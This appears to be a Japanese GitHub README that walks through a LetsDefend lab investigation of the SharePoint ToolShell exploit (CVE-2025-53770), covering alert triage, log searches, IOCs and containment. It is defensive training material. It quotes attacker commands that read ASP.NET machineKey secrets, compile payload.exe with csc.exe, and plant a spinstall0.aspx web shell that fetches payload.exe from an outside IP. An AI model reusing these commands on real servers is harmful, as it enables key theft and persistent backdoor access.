victormbogu1/letsdefend-soc342-cve-2025-53770-sharepoint-toolshell-auth-bypass-andrce-eventid-320CVE-2025-53770 SharePoint ToolShellの認証バイパスとRCEを分析するLetsDefend SOC342ラボのステップバイステップのウォークスルー。攻撃チェーン、フォレンジック分析、封じ込めアクションを含む。
LetsDefend のサイバーラボで、ToolShell (CVE-2025-53770) と呼ばれるSharePointのゼロデイを調査しました。
この演習は、悪意のあるPOSTリクエストが認証を迂回し、PowerShellを実行して MachineKeySection キーを盗み出し、payload.exe をコンパイルし、悪意のあるWebシェル (spinstall0.aspx) を配置する、現実のゼロデイRCE攻撃を模倣したものです。
このREADMEでは、攻撃プロセス、フォレンジック手順、封じ込め対策、および学んだ教訓を文書化しています。
| フィールド | 詳細 |
|---|
| プラットフォーム | LetsDefend Cyber Range |
| ターゲット | SharePoint Server (SharePoint01) |
| CVE | CVE-2025-53770 |
| 目的 | RCEの分析、検出と封じ込めの実践 |
| 使用ツール | Windows PowerShell、VirusTotal、AbuseIPDB、Talosintelligence、LetsDefend Log Management、LetsDefend Endpoint Security、Base64 Decoder、LetsDefend Threat Intel |
SharePointの ToolPane.aspx を標的とした、大規模ペイロードと偽装された Referer を含む不審なアクティビティがクリティカルアラートとしてフラグされました。
これは、細工されたPOSTリクエストによる認証不要のRCEを可能にするゼロデイ脆弱性 CVE-2025-53770 と関連しています。
説明: このアラートに割り当てられた深刻度レベル — 最も高く、最も緊急です。
重要性: このイベントが**完全なシステム侵害（RCE）**につながる可能性があることを示します。最優先として扱い、直ちに隔離して調査してください。
説明: アラートがトリガーされたタイムスタンプです。
重要性: ログを特定し、関連イベントを関連付け、タイムラインを構築するために使用します（前後数分または数時間を検索）。
説明: 発生した検出ルールまたはシグネチャで、一致した条件（ToolShell 悪用試行）を記述しています。
重要性: どの攻撃パターンが検出されたかを特定します — 類似ケースの狩猟に役立ちます（例：管理ページへの認証不要のPOSTやWebシェルのアップロードの可能性）。
説明: この特定のアラートインスタンスまたはルールの数値識別子（ベンダー定義）。
重要性: チケットやレポートでこのアラートの追跡、フィルタリング、参照に役立ちます。
説明: 高レベルの分類 — このアラートはWebインフラを標的にしています。
重要性: インシデントをWeb/SharePoint/インフラチームにルーティングし、Web固有のプレイブックを適用します。
説明: アラートの処理が期待されるアナリストの役割またはエスカレーションレベル。
重要性: これはTier-1アラートではないことを示します — 即時対応にはセキュリティアナリスト（経験豊富な対応者）が必要です。
説明: 影響を受けたホストの名前（アクティビティのターゲットまたは発信元）。
重要性: これが主要な封じ込めターゲットです — このシステムを最初に隔離し、証拠を収集し、監視します。
説明: 不審なリクエストを送信しているIP（攻撃者またはプロキシ）。
重要性: ファイアウォール/WAFでブロックし、そのIPからの他のヒットを検索し、所有権/地理情報を確認します。注：IPは偽装されたり、ボットネットの一部である可能性があります。
説明: 内部ターゲットIP（SharePoint01）。
重要性: どの内部システムが標的にされたかを確認します — ホスト名にマッピングし、内部アクセスパス/ファイアウォールルールをレビューします。
説明: 使用されたHTTP動詞 — クライアントがサーバーにデータを送信しました。
重要性: 管理エンドポイントへのPOSTは、認証されていないか大きい場合に不審であり、エクスプロイトペイロードやWebシェルを運ぶ可能性があります。
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
説明: 正確なターゲットWebパスとパラメータ。
重要性: これはSharePointの管理/レイアウトエンドポイントであり、攻撃者によって認証バイパスやコードアップロードに頻繁に悪用されます。同じパスへの他のリクエストを狩猟します。
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
説明: クライアントによって報告されたブラウザ文字列。
重要性: 攻撃者によって正当に見せかけるために偽装されることがよくあります — ログのフィルタリングには役立ちますが、属性の特定に依存しないでください。
/_layouts/SignOut.aspx
説明: リクエストがSharePointのサインアウトページから来たと主張するHTTPヘッダー。
重要性: 偽装されたリファラーは不審です — チェックを回避したり、通常のトラフィックを模倣するために使用される可能性があります。正当なナビゲーションフローと比較してください。
7699説明: HTTPリクエストボディのサイズ（バイト単位）。
重要性: 管理エンドポイントへの大きなPOSTボディは、シリアル化されたエクスプロイトやファイルアップロードを示唆します。同じURLへの同様のサイズの他のPOSTを探してください。
テキスト: 大きなペイロードサイズと偽装されたリファラーを持つ ToolPane.aspx を標的とした不審な認証されていないPOSTリクエスト — CVE-2025-53770 の悪用を示唆。
説明: 一致した動作を要約したルール説明。
重要性: アラートが発生した正確な理由を説明します — リクエストが認証されていなかったか、どのペイロードが送信されたか、既知のエクスプロイトパターンと一致するかを検証します。
説明: 保護デバイス（例：WAF/ファイアウォール）の応答を示します。
重要性: 許可されたため、攻撃はホストに到達しました — 侵害の可能性があると扱います。
即時アクション:
107.191.58.76) をブロックSharePoint01) を調査🔎 要約:
このアラートは、ToolPane.aspx（SharePoint RCE CVE-2025-53770）を悪用した認証されていないエクスプロイト試行を示しています。POSTリクエストには大きなペイロードと偽装されたリファラーが含まれており、ToolShellゼロデイ悪用動作と一致しています。デバイスがリクエストを許可したため、反証されるまで侵害の可能性を想定します。🟥 深刻度: クリティカル
ToolPane.aspx へのPOSTをIIS/WAFで検索（2025-07-22 13:07 頃）:
Select-String -Path "C:\inetpub\logs\LogFiles\**\*.log" -Pattern "/_layouts/15/ToolPane.aspx" | Out-File .\IIS_ToolPane_hits.txt
WAF/プロキシまたはパケットキャプチャから完全なPOSTボディを取得し、フォレンジック共有に保存します。
Webルート内の新規/変更されたASPXを探す（Webシェル）:
Get-ChildItem "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\**\*.aspx" -Recurse | Sort LastWriteTime -Desc | Select FullName,LastWriteTime
攻撃者をブロックし、ホストを隔離: 境界/WAFで 107.191.58.76 をブロックし、SharePoint01 を隔離（または発信を制限）します。
疑わしいファイルは削除しないでください — まずフォレンジックコピーを作成してください。
Microsoft SharePoint は、コラボレーションと文書管理プラットフォームです。
安全なファイルストレージ、バージョン管理、イントラネットポータルを提供し、Active Directory、Teams、Outlook、Power BI と統合されています。
Microsoft SharePoint Server における、安全でない逆シリアル化を悪用したクリティカルな認証不要のRCE脆弱性。
攻撃者はこれを使用して：
🧮 CVSSスコア: 9.8 (Critical)
📡 悪用: 既に実際に活動中
送信元IP: 107.191.58.76
🧩 結果: 95のセキュリティベンダーのうち15が悪意ありとフラグ付け。
AbuseIPDB で確認 — このIPは以下に関連:
Talos Intelligence で確認 — IP/サブネットの特性:
*.vultrusercontent.com
Endpoint Security でホスト SharePoint01 を特定。
不審なコマンドについてターミナル履歴を調査。
このログは、13:07:11 にSharePointアプリケーションプールの下でPowerShellプロセスが実行され、Base64エンコードされたコマンドを実行したことを示しています。親プロセスはservices.exeで、攻撃はSharePointディレクトリを標的にしていました。これはToolShell悪用およびSharePointサーバー内でのリモートコード実行の明確な指標です。
-nop = -NoProfile: ユーザープロファイルをロードせずにPowerShellを起動（プロファイルベースの検出を回避、高速実行）。-w hidden = -WindowStyle Hidden: ウィンドウを表示せずに実行（ステルス）。-e = -EncodedCommand: 続く文字列はBase64エンコードされたPowerShellコンテンツ（通常はUTF-16LE、時々UTF-8） — コードをカジュアルな検査や単純なログから隠すために使用。<BASE64>: 長いBase64ペイロード — デコードすると、ASPXサーバースクリプト（Webシェルのように見える）が含まれており、MachineKey 値を読み取ります。
⚙️ 動作サマリー
これは、ViewState/認証トークンを偽造するためのMachineKey窃取を示しています — 典型的なToolShell悪用。
🧩 調査結果: 攻撃者は組み込みの.NETコンパイラを使用して payload.cs を payload.exe にコンパイルしました → おそらくマルウェア。
これが文字通り行うこと（ステップバイステップ）:
csc.exe プログラムを実行 → .NET Framework に付属する C# コンパイラ。/out:C:\Windows\Temp\payload.exe → コンパイラにコンパイルしたプログラムの保存場所と名前（payload.exe）を指示。C:\Windows\Temp\payload.cs → コンパイラが実行可能プログラムに変換する C# ソースファイル（人間が読めるコード）。なぜ危険か（初心者向け説明）:
.cs）を実行可能ファイル（.exe）に変換しました。payload.exe）は、攻撃者がプログラムした任意のアクション（ネットワーク接続の開始、シェルの生成、永続化のインストール、データの窃取）を実行できます。攻撃チェーンでの攻撃者による使用法:
payload.cs を作成またはアップロード。payload.exe にコンパイルして、サーバー上でネイティブプログラムとして実行できるようにしました。探すべき証拠（ログ/ファイルで検索するもの）:
payload.cs または /out:C:\Windows\Temp\payload.exe を引数とする csc.exe のプロセス作成イベント。C:\Windows\Temp\payload.cs と C:\Windows\Temp\payload.exe の存在（フォレンジックコピーを収集しハッシュを計算）。w3wp.exe / powershell.exe / cmd.exe が csc.exe を起動した親子プロセス関係。payload.exe からのネットワークアクティビティまたはプロセスアクティビティ。一行サマリー（README/チケット用）:
攻撃者は .NET C# コンパイラ (csc.exe) を使用して、ホスト上で payload.cs を payload.exe にコンパイル — フォローアップの悪意のあるアクティビティのためにネイティブ実行可能ファイルを作成。
🧩 調査結果: SharePoint の LAYOUTS ディレクトリ内に spinstall0.aspx を作成 → Webからアクセス可能なバックドア。
これが文字通り行うこと（ステップバイステップ、平易な英語）:
cmd.exe /c を実行 → Windows コマンドシェルを起動して単一コマンドを実行し終了。echo <...> > "...\spinstall0.aspx" → 提供されたHTML/ASPXテキストを表示し、spinstall0.aspx ファイルに書き込み（> 演算子でファイルを作成または上書き）。runat="server" が含まれる → ファイルをサーバーサイドASPXにし、IIS/SharePointがそれを静的なテキストとして配信するのではなく、Webアプリケーションプロセス内で実行するようにする。<object> 要素には Url="http://107.191.58.76/payload.exe" が含まれる → 実行時にページ（またはサーバー）に、リモートホストから攻撃者の payload.exe を取得するよう指示。なぜ危険か（初心者向け説明）:
攻撃チェーンでの攻撃者による使用法:
spinstall0.aspx をSharePointの LAYOUTS フォルダに書き込みました。payload.exe を取得します。探すべき証拠（ログ/ファイルで検索するもの）:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx — フォレンジックコピーを収集しSHA256を計算。cmd.exe がそのパスに書き込んだファイル作成/書き込みイベント（Sysmon EventID 11 または Windows Audit 4663）。spinstall0.aspx へのリクエスト、または http://107.191.58.76/payload.exe への発信リクエストを示すIISログ。spinstall0.aspx にアクセスした直後のプロセス作成またはネットワークアクティビティ（ペイロードのダウンロード/実行を示唆）。一行サマリー（README/チケット用）:
攻撃者はSharePointのLAYOUTSフォルダにサーバーサイドASPX Webシェル (spinstall0.aspx) を作成。これはサーバーに攻撃者インフラから payload.exe を取得/実行するよう指示する — 永続的なリモートバックドア。
🧩 調査結果: PowerShellを実行してMachineKey設定を読み取り、外部に持ち出し — 直接的なRCE前提条件。
これが文字通り行うこと（ステップバイステップ）:
powershell.exe を実行 → Windowsスクリプティングシェル。-Command はPowerShellに次の式を実行するよう指示。[System.Web.Configuration.MachineKeySection]::GetApplicationConfig() は .NET を呼び出してASP.NETの machineKey 設定オブジェクトを取得（ValidationKey、DecryptionKey、および関連設定を含む）。なぜ危険か（初心者向け説明）:
machineKey はASP.NETが以下のために使用する秘密を保持:
ViewState とフォーム認証クッキーの署名と検証。ValidationKey/DecryptionKey を入手した場合、次のことが可能:
ViewState または認証クッキーの偽造、またはトークンの復号。攻撃チェーンでの攻撃者による使用法:
ToolPane.aspx を悪用してSharePointアプリプロセス内でコードを実行。ValidationKey / DecryptionKey を取得。ViewState）または有効な認証クッキーを作成し、アクセスを昇格。探すべき証拠（ログ/ファイルで検索するもの）:
GetApplicationConfig または MachineKeySection を含む powershell.exe のプロセス作成イベント。ValidationKey / DecryptionKey）を含むWeb応答、ログ、または保存されたファイル。MachineKeySection / GetApplicationConfig を呼び出すASPXページまたはWebシェル。IIS APPPOOL\SharePoint）による異常なアクティビティ。一行サマリー（README/チケット用）:
攻撃者はPowerShellを実行して System.Web.Configuration.MachineKeySection::GetApplicationConfig() を呼び出し — ASP.NET machineKey (ValidationKey/DecryptionKey) を外部に持ち出そうと試み、トークン偽造と認証バイパスを可能に。
ソース: LetsDefend Threat Intel（IP 107.191.58.76 により照会）
Referer: /_layouts/SignOut.aspx が観測された。
| タイプ | 指標 | 説明 |
|---|---|---|
| IP | 107.191.58.76 | エクスプロイトPOSTを送信する攻撃元IP |
| URL | /_layouts/15/ToolPane.aspx?DisplayMode=Edit | エクスプロイトエンドポイント |
| ファイル | spinstall0.aspx | 展開された悪意のあるASPXウェブシェル |
| 文字列 | MachineKeySection | machineKey流出試行の証拠 |
VictorオンプレミスのSharePoint（SharePoint01）に対する ToolShell ゼロデイ悪用（CVE‑2025‑53770）を検出した。攻撃者（IP 107.191.58.76）は認証をバイパスし、複数のポストエクスプロイトアクションを実行した：
spinstall0.aspx（ウェブシェル）を SharePoint LAYOUTS ディレクトリにアップロードした。payload.exe をコンパイルした。
結論: 侵害を確認 — ウェブシェル展開、キー流出、ホスト上でのペイロードコンパイル。
SharePoint01 を隔離する（隔離VLAN）か、境界/WAF/ファイアウォールで攻撃者IPをブロックする。spinstall*.aspx、payload.exe（ファイル名/ハッシュ）、および GetApplicationConfig/MachineKeySection の使用を検索する。spinstall0.aspx、不正なスケジュールタスク/サービス、および検出されたマルウェアを削除する（フォレンジックコピーを収集した後）。machineKey 値をローテーションし（アプリ所有者と調整）、すべてのオンプレミスSharePointインスタンスにMicrosoft 2025年7月緊急パッチ を適用する。-EncodedCommand / -e）の検知を追加する。C:\Windows\Temp でコードをコンパイルする csc.exe の使用をアラートする。csc.exe、cmd.exe、powershell.exe）はポストエクスプロイトで頻繁に悪用されるため、ウェブサーバー上での予期しない使用を監視する。SharePoint01 を隔離し、107.191.58.76 をブロックする。spinstall0.aspx、payload.cs、payload.exe のフォレンジックコピーを収集する（タイムスタンプを保存）。w3wp.exe / payload.exe のメモリをダンプする。machineKey と影響を受けた認証情報をローテーションする。